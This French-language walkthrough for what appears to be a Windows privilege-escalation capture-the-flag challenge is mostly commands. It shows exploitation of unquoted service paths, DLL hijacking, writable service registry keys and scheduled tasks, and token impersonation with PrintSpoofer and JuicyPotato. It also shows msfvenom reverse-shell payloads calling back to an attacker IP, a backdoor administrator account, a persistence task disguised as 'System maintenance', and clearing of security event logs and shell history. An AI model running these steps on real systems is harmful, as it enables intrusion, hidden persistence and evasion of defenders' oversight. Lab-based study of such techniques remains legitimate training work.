Connexion RDP :
# Avec rdesktop (Linux)
rdesktop <IP_CIBLE> -u <USERNAME> -p <PASSWORD>
# Avec xfreerdp (meilleur support)
xfreerdp /v:<IP_CIBLE> /u:<USERNAME> /p:<PASSWORD> /cert-ignore
# Avec remmina (GUI)
remmina
# Configurer une nouvelle connexion RDP
Alternative SSH (si disponible) :
ssh <username>@<IP_CIBLE>
Commandes PowerShell :
# Vérifier l'utilisateur actuel
whoami
# Vérifier les groupes
whoami /groups
# Informations système
systeminfo
# Version Windows
ver
# Droits du token actuel
whoami /priv
Résultat attendu :
USER PRIVILEGES INFORMATION
========================
Privilege Name Description State
========================== ======================== ============
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking Disabled
Via PowerShell :
# Ouvrir PowerShell en tant qu'utilisateur courant
powershell
# Ou cmd.exe
cmd.exe
# Vérifier la version de PowerShell
$PSVersionTable
# Vérifier l'exécution de scripts
Get-ExecutionPolicy
Commandes :
# Informations système complètes
systeminfo
# Processeur
wmic cpu get name,cores,threads
# Mémoire
Get-WmiObject -Class Win32_OperatingSystem | Select-Object TotalVisibleMemorySize,FreePhysicalMemory
# Disques
wmic logicaldisk get name,size,freespace
# Version du kernel
Get-WmiObject -Class Win32_OperatingSystem | Select-Object BuildNumber,OSArchitecture
# Patches installées
wmic qfe get hotfixid
# Ou via PowerShell
Get-HotFix
Commandes :
# Utilisateurs locaux
net user
# Détails d'un utilisateur
net user <username>
# Groupes locaux
net localgroup
# Membres d'un groupe
net localgroup Administrators
# Utilisateurs distants
Get-WmiObject -Class Win32_UserAccount
# Groupes distants
Get-WmiObject -Class Win32_Group -Filter "LocalAccount=True"
# Utilisateurs connectés
quser
# Sessions établies
net sessions
Commandes :
# Services en cours d'exécution
Get-Service | Where-Object {$_.Status -eq 'Running'}
# Services avec état
Get-Service
# Détails d'un service
Get-Service | Where-Object {$_.Name -like '*SearchIndexer*'}
# Affichage via wmic
wmic service list brief
# Services exécutés en tant que SYSTEM
Get-WmiObject Win32_Service -Filter "StartName='LocalSystem'" | Select-Object Name,PathName
# Services exécutés en tant que Network Service
wmic service list config | findstr /C:"Network Service"
# Services exécutés en tant qu'utilisateur local
wmic service list config | findstr /C:"LocalService"
Résultat attendu :
Name Status
---- ------
AdobeARMservice Stopped
AdobeFlashPlayerUpdateSvc Stopped
AdobeUpdateService Stopped
...
UnistackSvcGroup Stopped
WaaSMedicSvc Stopped
WalletService Stopped
WinHttpAutoProxySvc Running
Commandes :
# Tous les processus
Get-Process
# Processus avec propriétaire
Get-Process | Select-Object Name,Id,ProcessName,@{Name="Owner";Expression={$_."User Name"}}
# Processus en cours en détail
tasklist /v
# Processus SYSTEM
tasklist /v | findstr SYSTEM
# Détails d'un processus spécifique
Get-Process -Name "ProcessName" | Select-Object *
# Chemins d'exécution des processus
wmic process list brief
Commandes :
# Tous les droits du token
whoami /priv /fo list
# Droits spécifiques
whoami /priv | findstr /I "SeImpersonate\|SeDebug\|SeLoadDriver"
# Détails complets des droits
Get-WmiObject -Class Win32_LogicalFileSecuritySetting -Filter "Path='C:\\Windows\\System32'" -EnableAllPrivileges
# Détails du token
whoami /all
Droits critiques à chercher :
SeImpersonatePrivilege - Emprunter l'identité d'un client
SeDebugPrivilege - Déboguer les programmes
SeLoadDriverPrivilege - Charger des drivers
SeBackupPrivilege - Sauvegarde de fichiers
SeRestorePrivilege - Restauration de fichiers
SeSecurityPrivilege - Gérer les logs de sécurité
SeTakeOwnershipPrivilege - Prendre possession de fichiers
Commandes :
# Permissions d'un fichier/répertoire
Get-Acl "C:\Program Files\Service\service.exe"
# Affichage format liste
Get-Acl "C:\Program Files\Service\service.exe" | Format-List
# Détails des permissions
Get-Acl "C:\Program Files\Service\service.exe" | Select-Object -ExpandProperty Access
# Répertoires accessibles en écriture
cmd /c icacls "C:\Program Files\Service\" /T
# Ou via PowerShell
Get-Item -Path "C:\Program Files\Service\*" -Force | Get-Acl
Commandes :
# Répertoires Program Files accessibles en écriture
Get-ChildItem -Path "C:\Program Files" -Recurse -Force | Where-Object {$_.PSIsContainer} | ForEach-Object {
$acl = Get-Acl $_.FullName
$acl.Access | Where-Object {$_.FileSystemRights -like "*Modify*" -or $_.FileSystemRights -like "*FullControl*"} | ForEach-Object {
Write-Host "$($_.IdentityReference) : $($_.FileSystemRights) on $($_.PSPath)"
}
}
# Alternative simple
cmd /c icacls "C:\Program Files" /C /T 2>nul | findstr /C:"Everyone\|Authenticated Users\|Users"
# Chercher les binaires modifiables
cmd /c for /r "C:\Program Files" %i in (*.exe) do @icacls "%i" 2>nul | findstr /C:"(M)\|(F)" && echo %i
Commandes :
# Chercher les services exécutés en tant que LocalSystem
Get-WmiObject Win32_Service | Where-Object {$_.StartName -eq 'LocalSystem'} | Select-Object Name,PathName
# Vérifier les chemins avec espaces non échappés
Get-WmiObject Win32_Service | Where-Object {$_.PathName -like '* *' -and $_.PathName -notlike '"*'} | Select-Object Name,PathName
# Exemple de vulnérabilité: Service avec chemin non échappé
# C:\Program Files\Service\service.exe
# Peut être interprété comme:
# C:\Program.exe
# C:\Program Files\Service.exe (vulnérable si nous pouvons créer ce fichier)
Résultat attendu :
Name PathName
---- --------
Service C:\Program Files\Service\service.exe
BadSvc C:\Program Files\Bad Service\service.exe
Exploitation :
# 1. Vérifier le service vulnérable
Get-WmiObject Win32_Service | Where-Object {$_.Name -eq 'VulnService'} | Select-Object *
# 2. Arrêter le service (si possible)
net stop VulnService
# 3. Créer un exécutable malveillant
# C:\Program.exe pour une service path: C:\Program Files\...
# 4. Créer un payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<VOTRE_IP> LPORT=4444 -f exe -o "C:\Program.exe"
# 5. Redémarrer le service
net start VulnService
# 6. L'exécutable malveillant s'exécutera avec les privilèges du service (LocalSystem)
Détection :
# Trouver les services avec chemin non échappé
Get-WmiObject Win32_Service | Where-Object {$_.PathName -notlike '"*'} | Select-Object Name,PathName
# Détails du service vulnérable
Get-WmiObject Win32_Service | Where-Object {$_.Name -eq 'UnquotedService'} | Select-Object *
# Vérifier les permissions sur le répertoire
cmd /c icacls "C:\Program Files\Unquoted Service Path"
Exploitation :
# Chemin du service: C:\Program Files\Unquoted Service Path\service.exe
# Sera interprété comme:
# 1. C:\Program.exe
# 2. C:\Program Files\Unquoted.exe
# 3. C:\Program Files\Unquoted Service.exe
# 4. C:\Program Files\Unquoted Service Path\service.exe
# Si le répertoire est accessible en écriture, créer:
# C:\Program Files\Unquoted.exe
# Ou créer un répertoire si pas d'extension dans le chemin
Identification :
# Utiliser Process Monitor pour identifier les DLL chargées
# Ou utiliser PowerShell pour lister les DLL
Get-ChildItem -Path "C:\Program Files\Service\" -Filter "*.dll"
# Vérifier les permissions
cmd /c icacls "C:\Program Files\Service\*.dll"
# Lancer le service et observer quelles DLL sont chargées
# Process Monitor peut montrer les tentatives de chargement échouées
Exploitation :
# 1. Identifier une DLL manquante chargée par un service
# 2. Créer une DLL malveillante avec le même nom
# 3. Placer la DLL dans le répertoire du service
# 4. Redémarrer le service
# Créer une DLL malveillante:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<VOTRE_IP> LPORT=4444 -f dll -o "C:\temp\malicious.dll"
# Ou compiler une DLL C++/C#
Commandes :
# Clés modifiables
reg query HKLM\System\CurrentControlSet\Services /s
# Vérifier les permissions sur une clé
cmd /c reg query HKLM\System\CurrentControlSet\Services\Service1 /s
# Ou utiliser PowerShell
Get-Item -Path "HKLM:\System\CurrentControlSet\Services\Service1" | Get-Acl | Select-Object -ExpandProperty Access
# Chercher les clés accessibles en écriture
Get-ChildItem -Path "HKLM:\System\CurrentControlSet\Services" -Recurse | ForEach-Object {
$acl = Get-Acl $_
$acl.Access | Where-Object {$_.FileSystemRights -like "*Write*" -or $_.FileSystemRights -like "*Modify*"} | ForEach-Object {
Write-Host "$($_.IdentityReference) peut écrire sur $($_.PSPath)"
}
}
Exploitation :
# 1. Trouver un service avec clé de registre modifiable
Get-WmiObject Win32_Service | Where-Object {$_.Name -eq 'TargetService'} | Select-Object *
# 2. Modifier le ImagePath du service
reg add "HKLM\System\CurrentControlSet\Services\TargetService" /v ImagePath /t REG_EXPAND_SZ /d "C:\temp\malicious.exe" /f
# 3. Redémarrer le service
net stop TargetService
net start TargetService
# Ou redémarrer tout le système pour que le service démarre au démarrage
# Le malware s'exécutera avec les privilèges du service (LocalSystem)
Commandes :
# Lister les tâches planifiées
Get-ScheduledTask
# Détails d'une tâche
Get-ScheduledTask | Select-Object TaskName,TaskPath,State
# Tâches exécutées en tant que SYSTEM
Get-ScheduledTask -TaskPath "\Microsoft\*" | Get-ScheduledTaskInfo
# Exécution via schtasks
schtasks /query /fo LIST /v
# Détails d'une tâche spécifique
schtasks /query /tn "TaskName" /fo LIST /v
# Permissions sur les tâches
Get-ScheduledTask | Where-Object {$_.TaskName -like "*Vuln*"} | Get-Acl
Commandes :
# Chercher les tâches exécutées en tant que SYSTEM avec des chemins modifiables
Get-ScheduledTask | ForEach-Object {
$task = $_
$taskInfo = Get-ScheduledTaskInfo -TaskName $task.TaskName -TaskPath $task.TaskPath -ErrorAction SilentlyContinue
if ($taskInfo) {
Write-Host "Task: $($task.TaskName) | Run As: $($taskInfo.User | ? {$_ -like '*System*'}) | Last Run: $($taskInfo.LastRunTime)"
}
}
# Vérifier les actions des tâches
Get-ScheduledTask -TaskName "TargetTask" | Get-ScheduledTaskInfo
# Détails complets
Get-ScheduledTask -TaskName "TargetTask" | Select-Object -ExpandProperty Actions
Méthode 1 - Modifier le chemin de l'action :
# 1. Identifier une tâche exécutée en tant que SYSTEM
# 2. Vérifier que le fichier exécuté est dans un répertoire accessible en écriture
# 3. Remplacer le fichier
Copy-Item -Path "C:\temp\malicious.exe" -Destination "C:\Program Files\Service\task.exe" -Force
# 4. Attendre que la tâche s'exécute ou la déclencher manuellement
schtasks /run /tn "TargetTask"
Méthode 2 - Modifier les permissions de la tâche :
# 1. Exporter la tâche
Export-ScheduledTask -TaskName "TargetTask" -TaskPath "\" > task.xml
# 2. Modifier le fichier XML (changer le chemin de l'exécutable)
# 3. Importer la tâche modifiée
Import-ScheduledTask -Xml (Get-Content "task.xml" | Out-String) -TaskName "TargetTask" -TaskPath "\" -Force
# 4. La tâche s'exécutera avec les nouvelles paramètres en tant que SYSTEM
Commandes :
# Droits du token actuel
whoami /priv
# Détails du token
whoami /all
# Voir les privilèges intéressants
whoami /priv | findstr /I "SeImpersonate\|SeDebug\|SeLoadDriver"
Si SeImpersonate est disponible :
# Télécharger Rotten Potato ou PrintSpoofer
# https://github.com/itm4n/PrintSpoofer/releases
# https://github.com/ohpe/juicy-potato/releases
# Utiliser PrintSpoofer (plus fiable sous Windows 10/Server 2019+)
PrintSpoofer64.exe -i -c cmd.exe
# Ou avec Juicy Potato (Windows Server 2012-2016)
JuicyPotato.exe -l 1337 -p "C:\temp\shell.exe" -t * -c "{CLSID}"
Résultat attendu :
[+] Using CLSID : {CLSID}
[+] Listener on 127.0.0.1:1337
[+] Sending Windows notification...
[+] Got a process: cmd.exe (PID 1234)
[+] ImpersonationToken: ...
[+] Impersonated SYSTEM
Si SeDebug est disponible :
# Télécharger Privilege Escalation toolkit
# https://github.com/FuzzySecurity/PowerShell-Suite
# Ou utiliser WinPEAS
winpeas.exe
# Ou manuellement, utiliser C++ pour créer un processus enfant avec SYSTEM
# # include <windows.h>
# PROCESS_INFORMATION pi;
# CreateProcessAsUserA(...);
Commandes :
# Vérifier l'utilisateur actuel
whoami
# Vérifier que nous sommes administrateur/SYSTEM
net user %username%
# Vérifier les droits
whoami /priv
# Vérifier les groupes
whoami /groups
# Tester l'accès root
dir C:\Windows\System32\drivers\etc\hosts
type C:\Windows\System32\drivers\etc\hosts
Commandes :
# Chercher les flags
dir C:\Users\
dir C:\Users\Administrator\
dir C:\Users\Administrator\Desktop\
# User flag
type C:\Users\<username>\Desktop\user.txt
type C:\Users\<username>\user.txt
# Root/Administrator flag
type C:\Users\Administrator\Desktop\root.txt
type C:\root.txt
# Flags ailleurs
dir C:\ /S /A:H | findstr /I "flag\|user\|root"
Créer un utilisateur administrateur :
# Créer l'utilisateur
net user backdoor Password123! /add
# Ajouter à administrateurs
net localgroup Administrators backdoor /add
# Vérifier
net user backdoor
net localgroup Administrators
Ajouter une clé SSH (PowerShell Remoting) :
# Activer WinRM
Enable-PSRemoting -Force
# Vérifier
Test-WSMan
# Ou ajouter une clé de registre pour la persistence
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "Backdoor" /t REG_SZ /d "C:\temp\backdoor.exe" /f
Créer une tâche planifiée de persistence :
# Créer une action
$action = New-ScheduledTaskAction -Execute "C:\temp\backdoor.exe"
# Créer un trigger
$trigger = New-ScheduledTaskTrigger -AtStartup
# Créer la tâche
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "BackdoorTask" -Description "System maintenance" -RunLevel Highest -Force
Commandes :
# Supprimer l'historique PowerShell
Remove-Item -Path "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -Force
# Supprimer l'historique cmd
cmd /c del %appdata%\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
# Nettoyer les logs d'événements
wevtutil cl System
wevtutil cl Security
wevtutil cl Application
# Ou via PowerShell
Remove-EventLog -LogName Security -Verbose
# Supprimer les fichiers temporaires
Remove-Item -Path "C:\temp\*" -Force -Recurse
# Effacer les fichiers récents
Remove-Item -Path "$env:APPDATA\Microsoft\Windows\Recent\*" -Force
# Informations système
systeminfo
ver
wmic os get name,buildnumber
# Utilisateurs et groupes
net user
net localgroup Administrators
whoami /groups
# Services
Get-Service | Where-Object {$_.Status -eq 'Running'}
wmic service list brief
# Processus
Get-Process
tasklist /v
# Droits du token
whoami /priv
# Services avec chemin non échappé
Get-WmiObject Win32_Service | Where-Object {$_.PathName -notlike '"*'}
# Fichiers modifiables
cmd /c icacls "C:\Program Files\*" /T | findstr /C:"Everyone\|Users"
# DLL Hijacking
Get-ChildItem -Path "C:\Program Files\*" -Filter "*.dll"
# Permissions modifiables
reg query HKLM\System\CurrentControlSet\Services
# Remplacer le binaire d'un service
Copy-Item "malicious.exe" "C:\Program Files\Service\service.exe" -Force
net stop Service
net start Service
# Modifier le registre d'un service
reg add "HKLM\System\CurrentControlSet\Services\Service" /v ImagePath /d "C:\temp\malicious.exe" /f
# Tâche planifiée
schtasks /run /tn "TargetTask"
# Token impersonation (SeImpersonate)
PrintSpoofer64.exe -i -c cmd.exe
# Vérifier l'escalade
whoami
net user %username%
whoami /priv
# Créer une porte dérobée
net user backdoor Password123! /add
net localgroup Administrators backdoor /add
# Nettoyage
wevtutil cl System
wevtutil cl Security
Remove-Item -Path "$env:APPDATA\...\ConsoleHost_history.txt"
| Outil | Utilité | Commande |
|---|---|---|
| systeminfo | Info système | systeminfo |
| whoami | Utilisateur courant | whoami /priv |
| net user | Gestion utilisateurs | net user |
| Get-Service | Énumération services | Get-Service |
| Get-Process | Énumération processus | Get-Process |
| icacls | Vérifier permissions | icacls C:\path |
| reg query | Lire registre | reg query HKLM\... |
| schtasks | Tâches planifiées | schtasks /query |
| PrintSpoofer | Token impersonation | PrintSpoofer64.exe -i |
| WinPEAS | Énumération escalade | winpeas.exe |
| JuicyPotato | Potato exploit | JuicyPotato.exe |
| msfvenom | Générer payloads | msfvenom -p windows/shell_reverse_tcp |
# Condition: Service avec chemin non échappé + accès en écriture
# Exploitation: Créer malware avec le nom interprété par le service
# Condition: Service path sans guillemets + espaces
# Exploitation: Créer .exe dans un répertoire du chemin
# Condition: Clé de registre de service accessible en écriture
# Exploitation: Modifier ImagePath pour pointer vers malware
# Condition: Service charge une DLL depuis répertoire accessible en écriture
# Exploitation: Placer DLL malveillante avec le même nom
# Condition: Tâche exécutée en tant que SYSTEM avec fichier modifiable
# Exploitation: Remplacer le fichier par du malware
# Condition: Utilisateur IIS/Service a SeImpersonate
# Exploitation: Utiliser Potato exploit pour impersonifier SYSTEM
# Condition: Clés de registre AlwaysInstallElevated actives
# Exploitation: Créer MSI malveillant qui s'installe en tant que SYSTEM
# Condition: Credentials en clair dans des fichiers
# Exploitation: Utiliser les credentials pour accès administrateur
✅ À retenir :
- L'énumération est la clé du succès
- Chercher les services avec chemins non échappés
- Vérifier les permissions sur Program Files
- Analyser les tâches planifiées exécutées en tant que SYSTEM
- Chercher les credentials en clair
- Utiliser les droits du token (SeImpersonate, SeDebug)
- Toujours vérifier les versions de Windows et les patches
⚠️ Attention :
- Ne pas lancer d'exploits sans énumération
- Vérifier les permissions avant de remplacer des fichiers
- Attention à ne pas casser les services
- Documentez chaque découverte
- Nettoyez les traces après exploitation
🎯 Ordre recommandé :
1. systeminfo | ver
2. whoami /priv | whoami /groups
3. Énumération des services
4. Vérifier les permissions sur Program Files
5. Chercher les tâches planifiées
6. Utiliser WinPEAS
7. Choisir le vecteur
8. Exploiter
# Système
systeminfo
ver
wmic os get name,buildnumber
Get-WmiObject Win32_OperatingSystem | Select-Object BuildNumber,OSArchitecture
# Utilisateurs
net user
net user <username>
whoami
whoami /groups
whoami /priv
# Services
Get-Service
wmic service list brief
Get-WmiObject Win32_Service | Select-Object Name,PathName,StartName
# Processus
Get-Process
tasklist /v
wmic process list brief
# Fichiers et permissions
Get-ChildItem -Path "C:\Program Files" -Recurse
icacls "C:\Program Files\*"
Get-Acl "C:\Program Files\Service\service.exe"
# Registre
reg query HKLM\System\CurrentControlSet\Services
reg query HKCU\...
Get-Item -Path "HKLM:\System\CurrentControlSet\Services\Service1"
# Tâches planifiées
schtasks /query /fo LIST /v
Get-ScheduledTask
Get-ScheduledTask -TaskName "TaskName" | Get-ScheduledTaskInfo
# Droits et permissions
whoami /priv
whoami /all
cmd /c icacls "path"
# Logs
Get-EventLog -LogName System -Newest 10
Get-WinEvent -LogName Security | Select-Object TimeCreated,Id,Message
Windows Privilege Escalation est un challenge complet qui enseigne :
1. L'énumération systématique du système Windows
2. L'identification des services vulnérables
3. L'exploitation des permissions incorrectes
4. L'utilisation des tokens et droits
5. L'escalade via plusieurs vecteurs
Les points clés de succès :
- Énumération minutieuse de tous les services et tâches
- Vérification des permissions sur Program Files et le registre
- Utilisation d'outils d'énumération (WinPEAS)
- Choix du bon vecteur d'exploitation
- Exécution contrôlée de l'exploit
Bonne chance avec le challenge Windows Privilege Escalation !